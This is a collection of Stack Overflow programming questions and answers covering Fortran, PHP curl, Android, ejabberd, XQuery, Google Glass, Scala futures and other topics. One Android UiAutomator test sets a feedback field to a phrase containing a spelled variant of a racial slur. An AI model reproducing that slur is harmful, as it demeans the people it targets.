32817121	0	 <p>See <a href="http://stackoverflow.com/questions/32809769/how-to-pass-subroutine-names-as-arguments-in-fortran/32811182#32811182">How to pass subroutine names as arguments in Fortran?</a> for general rules.</p> <p>Don't use <code>external</code> here. It is incompatible with advanced features like array valued functions. Generally, <code>external</code> is only for old programs in FORTRAN 77 style. Make an interface block (see the link) or try </p> <pre><code> procedure(Function1) :: RandomFunction </code></pre> <p>instead (Fortran 2003).</p>
40975592	0	 <p>If you are going to use PHP (*nix/Windows) then you are looking for the PHP <code>dio</code> (Direct I/O) extension: <a href="http://php.net/manual/en/book.dio.php" rel="nofollow noreferrer">http://php.net/manual/en/book.dio.php</a></p> <p>From PHP manual:</p> <blockquote> <p>PHP supports the direct io functions as described in the Posix Standard (Section 6) for performing I/O functions at a lower level than the C-Language stream I/O functions (fopen(), fread(),..). The use of the DIO functions should be considered only when direct control of a device is needed. In all other cases, the standard filesystem functions are more than adequate.</p> </blockquote>
32195657	0	 <p>place the code in appdelegate.m</p> <pre><code>if ([viewController isKindOfClass:[UINavigationController class]]) { UINavigationController *nav = (UINavigationController *)viewController; [nav popToRootViewControllerAnimated:NO]; } </code></pre>
770179	0	PHP / Curl: HEAD Request takes a long time on some sites <p>I have simple code that does a head request for a URL and then prints the response headers. I've noticed that on some sites, this can take a long time to complete.</p> <p>For example, requesting <code>http://www.arstechnica.com</code> takes about two minutes. I've tried the same request using another web site that does the same basic task, and it comes back immediately. So there must be something I have set incorrectly that's causing this delay.</p> <p>Here's the code I have:</p> <pre><code>$ch = curl_init(); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 20); curl_setopt ($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); // Only calling the head curl_setopt($ch, CURLOPT_HEADER, true); // header will be at output curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'HEAD'); // HTTP request is 'HEAD' $content = curl_exec ($ch); curl_close ($ch); </code></pre> <p>Here's a link to the web site that does the same function: <a href="http://www.seoconsultants.com/tools/headers.asp" rel="nofollow noreferrer">http://www.seoconsultants.com/tools/headers.asp</a></p> <p>The code above, at least on my server, takes two minutes to retrieve www.arstechnica.com, but the service at the link above returns it right away.</p> <p>What am I missing?</p>
15528355	0	 <p>initialize the jlabels and textareas before <code>add</code>ing them </p>
28945503	0	 <p>Instead of duplicating the code as you showed, just <a href="http://api.jquery.com/trigger/" rel="nofollow">trigger a click</a> by adding <code>.trigger('click')</code> to what you have when the document loads:</p> <pre><code>$(function() { $('button').click(function() { $.get('teas.txt', function(data) { var teas = data.split('\n'); random = teas[Math.floor(Math.random() * teas.length)]; $('p').text(random); }); }).trigger('click'); }); </code></pre>
22863405	0	 <p>Well, just searched more. Found out that I didn’t override my onMeasure method correctly. Here is my new implementation if someone stumbles upon this question:</p> <p><strong>SeatStateView.java:</strong></p> <pre><code>@Override protected void onMeasure (int widthMeasureSpec, int heightMeasureSpec){ // Background image’s size int desiredWidth = getBackground().getIntrinsicWidth(); int desiredHeight = getBackground().getIntrinsicHeight(); int widthMode = MeasureSpec.getMode(widthMeasureSpec); int widthSize = MeasureSpec.getSize(widthMeasureSpec); int heightMode = MeasureSpec.getMode(heightMeasureSpec); int heightSize = MeasureSpec.getSize(heightMeasureSpec); // Final size int width, height; // Set width depending on mode if(widthMode == MeasureSpec.EXACTLY) { width = widthSize; } else if(widthMode == MeasureSpec.AT_MOST) { width = Math.min(desiredWidth, widthSize); } else { width = desiredWidth; } // Set height depending on mode if(heightMode == MeasureSpec.EXACTLY) { height = heightSize; } else if(widthMode == MeasureSpec.AT_MOST) { height = Math.min(desiredHeight, heightSize); } else { height = desiredHeight; } // Finally, set dimension setMeasuredDimension(width, height); } </code></pre> <p>For details, check this page: <a href="http://stackoverflow.com/questions/12266899/onmeasure-custom-view-explanation">onMeasure custom view explanation</a>.</p> <p>Sorry for bothering you.</p>
41005656	0	 <p>Something like:</p> <pre><code>var TaskList = new List&lt;Task&gt;(); //list is populated here, however you're gonna do that //this is a boolean, in case that's not clear var isProjectWorkspaceUrlPopulated = TaskList.Any(q =&gt; !string.IsNullOrEmpty(q.ProjectWorkspaceUrl)); if(isProjectWorkspaceUrlPopulated) { //...something happens, one supposes } else { //.... maybe something else? } </code></pre>
40145870	0	 <p>Found the answer. I referred the below link : <a href="http://www.gunaatita.com/Blog/Invalid-Token-Error-on-Email-Confirmation-in-Aspnet-Identity/1056" rel="nofollow">http://www.gunaatita.com/Blog/Invalid-Token-Error-on-Email-Confirmation-in-Aspnet-Identity/1056</a></p> <p>It was due to the machine key generated by Web API and MVC. Configuring the same machine key on both Web API and MVC solved the 'Invalid Token' issue.</p>
5355071	0	 <p>It looks like the <a href="http://standards.freedesktop.org/wm-spec/wm-spec-latest.html#id2550663" rel="nofollow">EWMH</a> properties <code>_NET_CURRENT_DESKTOP</code> and <code>_NET_DESKTOP_NAMES</code> are what you're looking for. With Xlib, you'd use the <a href="http://tronche.com/gui/x/xlib/window-information/XGetWindowProperty.html" rel="nofollow">XGetWindowProperty</a> function.</p>
38473118	0	is it possible to use inheritance in uiautomator? if so how? <p>When I try to instantiate <code>testAYLogout()</code> and run the application, <code>testAXEndTrip()</code> also runs. Why is that?</p> <pre><code>public class ApplicationTest extends UiAutomatorTestCase { public void testAYLogout() throws RemoteException, UiObjectNotFoundException { //Get the device state UiDevice myDevice = getUiDevice(); //menu button UiObject menuButton = new UiObject(new UiSelector().className(android.widget.ImageButton.class.getName()).index(0)); //logout button UiObject logoutButton = new UiObject(new UiSelector().className(android.widget.CheckedTextView.class.getName()).text("Logout")); //yes button UiObject yesButton = new UiObject(new UiSelector().className(android.widget.Button.class.getName()).text("Yes")); //no button UiObject noButton = new UiObject(new UiSelector().className(android.widget.Button.class.getName()).text("No")); UiObject loginText = new UiObject(new UiSelector().className(android.widget.TextView.class.getName()).text("Login")); if (!myDevice.isScreenOn()) { myDevice.wakeUp(); } //click menu button and wait for new window menuButton.clickAndWaitForNewWindow(); assertTrue(logoutButton.exists()); //click logout logoutButton.clickAndWaitForNewWindow(); //click no noButton.clickAndWaitForNewWindow(); menuButton.clickAndWaitForNewWindow(); logoutButton.clickAndWaitForNewWindow(); //click yes button yesButton.clickAndWaitForNewWindow(); assertTrue(loginText.exists()); } public void testAXEndTrip() throws RemoteException, UiObjectNotFoundException { //get device UiDevice myDevice = getUiDevice(); //pick up location feild UiObject okButton = new UiObject(new UiSelector().className(android.widget.Button.class.getName()).text("Ok").index(0)); //end trip button UiObject endTripButton = new UiObject(new UiSelector().className(android.widget.Button.class.getName()).text("END TRIP").index(1)); //no button UiObject noButton = new UiObject(new UiSelector().className(android.widget.Button.class.getName()).text("No")); //yes button UiObject yesButton = new UiObject(new UiSelector().className(android.widget.Button.class.getName()).text("Yes")); //submit button UiObject submitButton = new UiObject(new UiSelector().className(android.widget.Button.class.getName()).text("Submit")); //rate button UiObject rateButton = new UiObject(new UiSelector().className(android.widget.ImageButton.class.getName()).index(4)); //feedback field UiObject feedback = new UiObject(new UiSelector().className(android.widget.EditText.class.getName()).index(1)); //map UiObject map = new UiObject(new UiSelector().className(android.view.View.class.getName()).index(0)); //wake up device if screen is off if (!myDevice.isScreenOn()) myDevice.wakeUp(); rateButton.waitForExists(5000); rateButton.clickAndWaitForNewWindow(); feedback.setText("ride or die ma niguh"); submitButton.clickAndWaitForNewWindow(); assertTrue(map.exists()); } } </code></pre> <p>Then this is my main class</p> <pre><code>public class MainTest extends ApplicationTest{ public static void TestMain() throws RemoteException, UiObjectNotFoundException { MainTest login = new MainTest(); login.testAYLogout(); } } </code></pre>
2111290	0	One active IB transaction the whole lifetime of a single user application <p>Are there any negative impacts when a single user application uses only one IB transaction, which is active as long the program runs? By using only CommitRetaining and RollbackRetaining.</p> <p>Background: I want to use IBQuery(s) and connect them to a DB Grid(s) (DevExpress), which loads all records into memory at once. So I want to avoid re-fetching all data after every SQL insert command. IBTransaction.Commit would close the dataset.</p>
31734894	0	 <p>Designate an unused column to the right as a 'helper' column and use this formula,</p> <pre><code>=TEXT(--LEFT(A4, FIND("-", A4)-1), "000")&amp;TEXT(--MID(A4, FIND("-", A4)+1,9), "0000") </code></pre> <p>Fill down and sort on the 'helper' column.</p>
17943043	0	 <p>There is nothing wrong with getting the same service in multiple methods in a controller.</p> <p>You can change your controller into a service ( <a href="http://symfony.com/doc/current/cookbook/controller/service.html" rel="nofollow">http://symfony.com/doc/current/cookbook/controller/service.html</a> and <a href="http://richardmiller.co.uk/2011/04/15/symfony2-controller-as-service/" rel="nofollow">http://richardmiller.co.uk/2011/04/15/symfony2-controller-as-service/</a> ) and then inject that service. While that follows the best practises, your current way is not wrong.</p> <p>You cannot request that service in the constructor, using the Symfony base <code>Controller</code> class, as the service container is set after initialization.</p>
21654691	0	Ejabberd webadmin access timeout <p>I just installed ejabberd on a remote server. Let's say remote server's ip is <code>123.123.123.123</code>, and its internal ip address is <code>10.0.0.10</code>.</p> <p>Then, I edited:</p> <h1><code>/etc/ejabberd/ejabberd.cfg</code></h1> <pre><code>%% ... more codes %% Options which are set by Debconf and managed by ucf %% Admin user {acl, admin, {user, "admin", "myexample.com"}}. %% Hostname {hosts, ["myexample.com"]}. %% ... more codes {5280, ejabberd_http, [ %%{request_handlers, %% [ %% {["pub", "archive"], mod_http_fileserver} %% ]}, %%captcha, http_bind, http_poll, web_admin ]} %% ... more codes </code></pre> <p>and, added <code>admin</code> as admin user by executing the following in the ssh at the server <code>123.123.123.123</code>:</p> <pre><code>root:# ejabberdctl register admin myexample.com adminpassword root:# service ejabberd restart </code></pre> <h1>THINGS NOT WORKING:</h1> <p>However, the admin console <code>myexample.com:5280/admin</code> is unreachable (timeout). I've also tried <code>123.123.123.123:5280/admin</code>, but failed.</p> <h1>THINGS WORKING:</h1> <p>However, from server's console, if I access <code>10.0.0.10:5280/admin</code>, it works. Also, I can confirm the user <code>admin</code> is registered by executing the following:</p> <pre><code>ejabberdctl registered_users </code></pre> <h1>QUESTION:</h1> <p>How do I make the access the webadmin (or more importantly, accessing any ports from its external ip or domain) work?</p>
6890750	0	 <p>I can't comment on whether its more effective to use HEAD or trying to do something like drop to the system and do a ping; but I don't think either of them is the solution you should be doing. IMHO, it isn't necessary to poll your connection. There are a lot of situations where a connection could be dropped and I don't think polling will provide much in the way of mitigating the problem. Also, the user might be annoyed. I know that if I were using an application, and then started doing something else, and all of a sudden I got a "connection lost to 3rd party error" from an application I wasn't even paying attention to; I would be very annoyed.</p> <p>If your application depends on a connection being present, then I think its fair to handle this with exception handlers. I'm willing to be bet that whatever API you're using throws some kind of exception whenever you attempt a network action and you aren't able to establish a connection. So, what I would do is in whatever class you're initializing the network action, I would follow this paradigm:</p> <pre><code>try { performNetworkAction(); } catch (NoConnectionFoundException e) { // handle the situation here } </code></pre> <p>Your application shouldn't be able to determine when a connection was lost, just how to react when you attempt a network action and no connection is found.</p> <p>That being said - you still may disagree with me. If that is the case then the frequency of polling allowed/recommended might be documented in the API for the service you're using. Also, if the resource from the 3rd party is static, you should cache it as opposed to getting it over and over again.</p>
20100120	0	Google Glass Live Card not inserting <p>Glass GDK here. Trying to insert a livecard using remote views from service. I'm launching service via voice invocation. The voice command works, however it appears my service is not starting(no entries in log). Service is in android manifest. Below is code:</p> <pre><code>public class PatientLiveCardService extends Service { private static final String LIVE_CARD_ID = "timer"; @Override public void onCreate() { Log.warn("oncreate"); super.onCreate(); } @Override public IBinder onBind(Intent intent) { return null; } @Override public int onStartCommand(Intent intent, int flags, int startId) { publishCard(this); return START_STICKY; } @Override public void onDestroy() { unpublishCard(this); super.onDestroy(); } private void publishCard(Context context) { Log.info("inserting live card"); if (mLiveCard == null) { String cardId = "my_card"; TimelineManager tm = TimelineManager.from(context); mLiveCard = tm.getLiveCard(cardId); mLiveCard.setViews(new RemoteViews(context.getPackageName(), R.layout.activity_vitals)); Intent intent = new Intent(context, MyActivity.class); mLiveCard.setAction(PendingIntent .getActivity(context, 0, intent, 0)); mLiveCard.publish(); } else { // Card is already published. return; } } private void unpublishCard(Context context) { if (mLiveCard != null) { mLiveCard.unpublish(); mLiveCard = null; } } </code></pre> <p>}</p> <p>Here is AndroidManifest.xml:</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; </code></pre> <p></p> <pre><code>&lt;uses-sdk android:minSdkVersion="15" android:targetSdkVersion="15" /&gt; &lt;uses-permission android:name="android.permission.INTERNET" &gt; &lt;/uses-permission&gt; &lt;uses-permission android:name="android.permission.RECORD_AUDIO" &gt; &lt;/uses-permission&gt; &lt;application android:name="com.myApp" android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" &gt; &lt;activity android:name="com.myApp.MyActivity" android:label="@string/app_name" android:screenOrientation="landscape" &gt; &lt;/activity&gt; &lt;service android:name="com.myApp.services.MyService" android:enabled="true" android:exported="true"&gt; &lt;intent-filter&gt; &lt;action android:name="com.google.android.glass.action.VOICE_TRIGGER" /&gt; &lt;/intent-filter&gt; &lt;meta-data android:name="com.google.android.glass.VoiceTrigger" android:resource="@xml/voice_trigger_get_patient" /&gt; &lt;/service&gt; &lt;/application&gt; </code></pre> <p></p>
37004893	0	 <p>If you're using Apache the simpler way is to define a global variable http_proxy. On RedHat like edit /etc/sysconfig/httpd and adjust these two lines to your environment:</p> <pre><code>export http_proxy="http://proxy:8080/" export https_proxy="http://proxy:8080/" </code></pre>
7457885	0	 <p>All of the answers you've gotten so far are overly complicated and/or slightly misleading.</p> <p>In the first construction/initialization:</p> <pre><code>T a(10); </code></pre> <p>The very obvious thing happens. The second construction/initialization is more interesting:</p> <pre><code>T aa = 10; </code></pre> <p>This is equivalent to:</p> <pre><code>T aa(T(10)); </code></pre> <p>Meaning that you create a temporary object of type T, and then construct <code>aa</code> as a copy of this temporary. This means that the copy constructor is called.</p> <p>C++ has a default copy constructor that it creates for a class when you have none explicitly declared. So even though the first version of <code>class T</code> has no copy constructor declared, there still is one. The one the compiler declares has this signature <code>T(const T &amp;)</code>.</p> <p>Now in your second case where you declare something that looks like a copy constructor, you make the argument a <code>T &amp;</code>, not a <code>const T &amp;</code>. This means that the compiler, when trying to compile the second expression, tries to use your copy constructor, and it can't. It's complaining that the copy constructor you declared requires a non-const argument, and the argument it's being given is const. So it fails.</p> <p>The other rule is that after the compiler has converted your initialization to <code>T aa(T(10));</code> it is then allowed to transform it to <code>T aa(10);</code>. This is called 'copy elision'. The compiler is allowed, in certain circumstances, to skip calls to the copy constructor. But it may only do this after it verifies that the expression is correctly formed and doesn't generate any compiler errors when the copy constructor call is still there. So this is an optimization step that may affect exactly which parts of a program run, but cannot affect which programs are valid and which ones are in error (at least from the standpoint of whether or not they compile).</p>
11035849	0	 <p>You can use the <code>Insert</code> transformation:</p> <pre><code> &lt;resizer&gt; &lt;plugins&gt; &lt;add name="AzureReader" connectionString="DataConnectionString" xdt:Transform="Insert" /&gt; &lt;/plugins&gt; &lt;/resizer&gt; </code></pre> <p><a href="http://msdn.microsoft.com/en-us/library/dd465326.aspx">Web.config Transformation Syntax for Web Application Project Deployment</a></p>
12832239	0	MS Identity and Access Tool MVC 4 <p>This VS 2012 extension is meant to allow me to add a local Development STS to my MVC application <a href="http://visualstudiogallery.msdn.microsoft.com/e21bf653-dfe1-4d81-b3d3-795cb104066e" rel="nofollow">http://visualstudiogallery.msdn.microsoft.com/e21bf653-dfe1-4d81-b3d3-795cb104066e</a></p> <p>I follow the very simple instructions e.g. Right Click the project name and select Identity and Access in the menu. Select your Identity Provider and the OK to apply the settings to your web.config.</p> <p>I run my MVC 4 application and it redirects immediately to login.aspx </p> <p>I'm guessing there are <strong><em>special</em></strong> instructions for MVC 4. </p> <p>What are they? </p> <p>Where do I find them?</p> <p><em>EDIT</em></p> <p>To be clear I have created a ASP.MVC 4 Internet application in visual studio 2012. Then I am using the Identity &amp; Access Tool to add a local development STS to Test my application.</p> <p>I am running the site on a local IIS Express</p> <p>When I debug the application I am redirected to </p> <blockquote> <p>localhost:11378/login.aspx?ReturnUrl=%2f</p> </blockquote> <p>This occurs even if I remove forms authentication as suggested in advice already given.</p>
4015901	1	Can I include sub-config files in my mercurial .hgrc? <p>I want to keep my main <code>.hgrc</code> in revision control, because I have a fair amount of customization it in, but I want to have different author names depending on which machine I'm using (work, home, &amp;c.).</p> <p>The way I'd do this in a bash script is to source a host-local bash script that is ignored by Mercurial, but I'm not sure how to do this in the config file format Mercurial uses.</p>
30884194	0	 <p>This looks like a case of duplicate attributes in the <code>AssemblyInfo.cs</code> file. You could delete the AssemblyInfo file and compile your project again.</p>
33843526	0	 <p>Sure! My existdb version is 2.2.</p> <pre><code>xquery version "3.0"; declare boundary-space preserve; declare namespace exist = "http://exist.sourceforge.net/NS/exist"; declare namespace request="http://exist-db.org/xquery/request"; declare namespace xmldb="http://exist-db.org/xquery/xmldb"; declare namespace output = "http://www.w3.org/2010/xslt-xquery-serialization"; declare option output:method "text"; declare option output:indent "yes"; import module namespace file="http://exist-db.org/xquery/file"; let $log-in := xmldb:login("/db", "admin", "admin") for $k in (35,36,37) let $AppletName := fn:doc(fn:concat('/db/project/AppletA_',$k,'.xml'))//APPLET/@NAME/string() let $collection := fn:concat('xmldb:exist:/db/project/Scripts_',$k) let $node :=(&lt;APPLET_SCRIPTS&gt;{ for $i in fn:doc(fn:concat('/db/project/AppletA_',$k,'.xml'))//APPLET_SERVER_SCRIPT let $MethodName := $i/@NAME let $MethodScript := string($i/@SCRIPT) let $file-name := fn:concat($MethodName,'.js') let $store := xmldb:store($collection,$file-name, $MethodScript) return &lt;div&gt;{$MethodScript}&lt;/div&gt; }&lt;/APPLET_SCRIPTS&gt;) return $node </code></pre> <p>A fragment of xml is:</p> <p><a href="http://i.stack.imgur.com/nAHKQ.png" rel="nofollow">screenshot xml fragment</a></p> <p>The content of file created is this one line string:</p> <p>function Prova() { try { var sVal = TheApplication().InvokeMethod("LookupValue","FS_ACTIVITY_CLASS","CIM_FAC18"); var recordFound = searchRecord(sVal); if(!recordFound) { this.InvokeMethod("NewRecordCustom"); this.BusComp().SetFieldValue("Class",sVal); this.BusComp().WriteRecord(); } } catch(e) { throw(e); } finally { sVal = null; } }</p>
30915333	0	ANgularJS use data from previous page <p>Is there a way to use data from previous page?</p> <p>I have two pages: '/users' and '/users/:id'</p> <p>'/users' template:</p> <pre><code>&lt;div ng-controller="userCtrl"&gt; &lt;div ng=repeat="(k,v) from data"&gt; &lt;span&gt;{{v.name}}&lt;/span&gt; &lt;a ng-href="/users/{{k}}"&gt;View details&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>'/users/:id' page</p> <pre><code>&lt;div ng-controller="userCtrl"&gt; &lt;span&gt;{{ data[currentId].name}}&lt;/span&gt; &lt;div&gt;{{additional_data}}&lt;/div&gt; &lt;/div&gt; //Controller userCtrl $scope.currentId = $stateParams.id || false; $scope.data = {}; $http.get('/users').then(function (response) { $scope.data = response; // returns // $scope.data[1] = {name: 'Alex'}; // $scope.data[2] = {name: 'Masha'}; } $scope.additional_data = 'Some data'; </code></pre> <p>On clicking on 'View detail' button we are going to another page with other template. But controller is the same.</p> <p>Is there a way to save data and not call request again? Just render old data on new page?</p>
36058205	0	Session data storing and fetching fails in Chrome <p>The site's form has to use obfuscated names for account and password input fields. So CodeIgniter's controller generates obfuscated names (by <code>strtolower(random_string('alpha', '12'))</code>) each time it makes a form and stores them (<code>$fields_name</code> array) in session (originally <code>flashdata</code>, now in <code>tempdata</code>) to retrieve them upon the following/next <code>POST</code> request with user data (account and password values). The log writes empty <code>$this-&gt;input-&gt;post($fields_name['account'])</code> and <code>$this-&gt;input-&gt;post($fields_name['password'])</code> since they can't be properly fetched from session. </p> <p>The form works normally (properly storing obfuscated names in session and recovers them back next request) in FireFox, Safary, yet <strong>fails in Chrome</strong>!!! IE makes each second request to work.</p> <p>I've set normal input names (<code>acc</code> and <code>pass</code>) for debugging purposes. </p> <p>I've joggled with 3 session data types: <code>flashdata</code>, <code>userdata</code> and <code>tempdata</code>. <a href="https://www.codeigniter.com/user_guide/libraries/sessions.html#how-do-sessions-work" rel="nofollow noreferrer">Docs</a>. </p> <h2>Controller to generate and save name fields in session (in debug mode):</h2> <pre><code>public function index() { // upon POST if ($this-&gt;input-&gt;server('REQUEST_METHOD') === 'POST') { echo '&lt;h4&gt;In POST:&lt;h4&gt;&lt;pre&gt; $this-&gt;session-&gt;&lt;b&gt;flashdata&lt;/b&gt;[fields_name]: '; print_r($this-&gt;session-&gt;flashdata('fields_name')); echo '&lt;br&gt; $this-&gt;session-&gt;&lt;b&gt;userdata&lt;/b&gt;[fields_name]: '; print_r($this-&gt;session-&gt;userdata('fields_name')); echo '&lt;br&gt; $this-&gt;session-&gt;&lt;b&gt;tempdata&lt;/b&gt;[fields_name]: '; print_r($this-&gt;session-&gt;tempdata()); echo '&lt;/pre&gt;'; //$fields_name = $this-&gt;session-&gt;flashdata('fields_name'); $fields_name = $this-&gt;session-&gt;tempdata('fields_name'); echo "&lt;pre&gt; fields_name from session af", print_r($fields_name, true); echo PHP_EOL; echo "&lt;/pre&gt;"; $this-&gt;form_validation-&gt;set_rules($fields_name['account'], '', 'required|is_natural'); $this-&gt;form_validation-&gt;set_rules($fields_name['password'], '', 'required|min_length[8]'); if ($this-&gt;form_validation-&gt;run()) { $this-&gt;accounts_model-&gt;unset_account_session_data(); echo 'Form is valid. To auth now...'; /* auth performing here */ exit; } else { log_activity('login', 'wrong validation - ' . $this-&gt;input-&gt;post($fields_name['account'])); echo 'failed $this-&gt;form_validation-&gt;run()'; exit; $this-&gt;session-&gt;set_flashdata('error_message', $this-&gt;lang-&gt;line('messages_wrong_clint_id_or_password')); redirect(lang_url()); } } if ($this-&gt;session-&gt;userdata('client_logged_in') === true) { redirect(lang_url('accounts/lists')); } $fields_name = array( 'account' =&gt; 'acc', //strtolower(random_string('alpha', '12')), 'password' =&gt; 'pass' // strtolower(random_string('alpha', '12')) ); $this-&gt;session-&gt;set_flashdata('fields_name', $fields_name); $this-&gt;session-&gt;set_userdata('fields_name', $fields_name); $this-&gt;session-&gt;set_tempdata('fields_name', $fields_name, 300); echo '&lt;pre&gt;$fields_name array: '; print_r($fields_name); echo '&lt;br&gt;before opening view - $this-&gt;session-&gt;&lt;b&gt;flashdata&lt;/b&gt;[fields_name]: '; print_r($this-&gt;session-&gt;flashdata()); echo '&lt;br&gt;before opening view - $this-&gt;session-&gt;&lt;b&gt;userdata&lt;/b&gt;[fields_name]: '; print_r($this-&gt;session-&gt;userdata()); echo '&lt;br&gt;before opening view - $this-&gt;session-&gt;&lt;b&gt;tempdata&lt;/b&gt;[fields_name]: '; print_r($this-&gt;session-&gt;tempdata()); echo '&lt;/pre&gt;&lt;/b&gt;'; $this-&gt;view-&gt;set('data', array( 'fields_name' =&gt; $fields_name, )); $this-&gt;view-&gt;render('homepage2'); } </code></pre> <h2>View with input names taken from the data passed into the view:</h2> <pre><code>&lt;input type="text" name="&lt;?php echo $data['fields_name']['account']; ?&gt;" &gt; &lt;input type="password" name="&lt;?php echo $data['fields_name']['password']; ?&gt;" </code></pre> <h2>See the outputs in FF</h2> <p><a href="https://i.stack.imgur.com/TKWlJ.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/TKWlJ.jpg" alt="enter image description here"></a> <a href="https://i.stack.imgur.com/44VYS.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/44VYS.jpg" alt="enter image description here"></a></p> <h2>See the outputs in Chrome:</h2> <p><a href="https://i.stack.imgur.com/UvK87.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/UvK87.jpg" alt="enter image description here"></a> <a href="https://i.stack.imgur.com/dOelt.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/dOelt.jpg" alt="enter image description here"></a></p>
36097978	0	 <p>you'll probably find it easier to query sizes if you work with the gtable,</p> <pre><code>--- title: "Untitled" header-includes: - \usepackage{lipsum} output: pdf_document: fig_caption: yes fig_crop: no keep_tex: yes geometry: width=5in --- ```{r setup, include=FALSE} library(ggplot2) library(dplyr) library(grid) library(knitr) general_fig_width &lt;- 5 ``` ```{r plot, fig.show=FALSE} p &lt;- diamonds %&gt;% sample_frac(0.3) %&gt;% ggplot(aes(x = carat, y = price, color = price)) + geom_point() + theme_dark() + theme(plot.margin = unit(c(0,0,0,0), "pt")) g &lt;- ggplotGrob(p) if(getRversion() &lt; "3.3.0"){ g$widths &lt;- grid:::unit.list(g$widths) g$widths[4] &lt;- list(unit(general_fig_width, "in")) } else { g$widths[4] &lt;- unit(general_fig_width, "in") } fig_width &lt;- convertWidth(sum(g$widths), "in", valueOnly = TRUE) left_width &lt;- convertWidth(sum(g$widths[1:3]), "in", valueOnly = TRUE) ggsave('plot-tmp.pdf', width=fig_width, height=2) ``` \begin{figure}[!hb] \hspace{`r -left_width`in}\includegraphics[width=`r fig_width`in]{plot-tmp} \end{figure} \lipsum[2] </code></pre> <p><a href="https://i.stack.imgur.com/jplWa.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/jplWa.png" alt="enter image description here"></a></p>
40979989	0	How do i override the submission url when i place order in magento. <p>so i have recently started using magento 1.9. and i have a specific problem i am not sure how to solve. I created a custom payment module, that shows up in the payment options, and when the user places the order , it redirects to my custom checkout success message. However this is not exactly what i want. I want to be able to redirect the user to my custom url if ANY payment option is selected, eg paypal or creditcard.</p> <p>In my custom controller, I want to append some info to the form, then forward it to the gateway. </p> <p>I guess the question is similar to this. But i dont want to edit magento's core code, I would like to override from my custom module. <a href="https://stackoverflow.com/questions/7749748/magento-place-order-redirection-for-payment-gateway">Magento &quot;place order&quot; redirection for payment gateway</a></p> <p>is there anyone that can help or point me in the right direction? </p>
18624768	0	 <p>If you are already familiar (and comfortable) with</p> <ul> <li>linear algebra</li> <li>basic calculus</li> <li>Newton's laws of motion</li> </ul> <p>then <a href="http://www.museful.net/2011/system-modelling/6dof-rigid-body-dynamics" rel="nofollow">6DoF Rigid Body Dynamics</a> is what you are looking for. It's a brief article written [disclaimer: by me] when I once had to develop a helicopter flight simulator.</p> <p>Using a rotation matrix allows for extremely simple modelling equations, but there exists a simple mapping to and from a quaternion if you <a href="http://www.museful.net/2011/system-modelling/expressing-3dof-rotation" rel="nofollow">prefer that representation for other reasons</a>.</p>
16016720	0	 <p>It depends for what you want to do with the Acess Token.</p> <p>If you want an acess token to access an user data. You can use the "setExtendedAccessToken" method, how the luschn said in his answer.</p> <p>But, if you want an acess token to access some public information, like an a feed from a public group, or a page. So you can uses an App Access Token. Which you gets here <a href="https://developers.facebook.com/tools/access_token/" rel="nofollow">https://developers.facebook.com/tools/access_token/</a></p>
482276	0	How can I test an NSString for being nil? <p>Can I simply use</p> <pre><code>if(myString == nil) </code></pre> <p>For some reason a string that I know is null, is failing this statement.</p>
3465330	0	 <p>Another answer assuming IEEE <code>float</code>:</p> <pre><code>int get_bit_index(uint64_t val) { union { float f; uint32_t i; } u = { val }; return (u.i&gt;&gt;23)-127; } </code></pre> <p>It works as specified for the input values you asked for (exactly 1 bit set) and also has useful behavior for other values (try to figure out exactly what that behavior is). No idea if it's fast or slow; that probably depends on your machine and compiler.</p>
33876999	0	Click doesn't work on this Google Translate button? <p>I am creating an Tampermonkey userscript that would automatically click the "star" button on Google Translate website and save my searches so that I can later view them and rehearse.</p> <p>This is the button that I am targeting: <a href="https://i.stack.imgur.com/KnVg0.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/KnVg0.png" alt="enter image description here"></a></p> <p>This is what I've got so far:</p> <pre><code>// @match https://translate.google.com/#en/de/appetit/ var el = document.getElementById("gt-pb-star"); setTimeout(function(){ el.click(); },4000); </code></pre> <p>I encountered 2 problems.</p> <ol> <li><code>@match</code> should be every translate.google.com search and not just appetit. How do I specify the whole domain?</li> <li>I tried clicking the "star" button with click() method but it doesn't work. Not sure why.</li> </ol> <p>Can you please help me finish this userscript?</p> <p>Edit: it seems that setting <code>match</code> to <code>https://translate.google.com/</code> handles the first question. Still don't know why click() doesn't work.</p>
19383247	0	Casting (converting) number in a format with multiple dots (a version number) to string <pre><code>#define EXTERNAL_API_VERSION 1.12.1 std::string version = boost::lexical_cast&lt;std::string&gt;(EXTERNAL_API_VERSION); </code></pre> <p>This code generates a compilation error:</p> <pre><code>error C2143: syntax error : missing ')' before 'constant' error C2059: syntax error : ')' </code></pre> <p>Are there any simple alternatives for casting number in such format (more then one dot) to string?</p>
22622319	0	Scala Future not Awaitable? <p>I am trying to use scala Futures to implement a threaded bulk get from a network service key/value store.</p> <p>roughly</p> <pre><code>import scala.concurrent._ import scala.concurrent.ExecutionContext.Implicits.global import scala.concurrent.duration._ def bulkGet(keys: List[String]) val listFut = keys.map( future{ "network get request here" } ) val values = Future.sequence(listFut) Await.result(values, Duration(10, SECONDS)) </code></pre> <p>gives me a compile error</p> <pre><code>[info] Compiling 1 Scala source to .../target/scala-2.10/classes... [error] .... type mismatch; [error] found : scala.concurrent.Future[List[String]] [error] required: scala.concurrent.Awaitable[scala.concurrent.Future[List[String]]] [error] Await.result(values, Duration(10, SECONDS)) ^ </code></pre> <p>what am I doing wrong.<br> I am following the docs re: how to block on a result<br> <a href="http://docs.scala-lang.org/overviews/core/futures.html" rel="nofollow">http://docs.scala-lang.org/overviews/core/futures.html</a></p> <p>Is a scala.concurrent.Future not by definition Awaitable? How do I coerce it to be?</p>
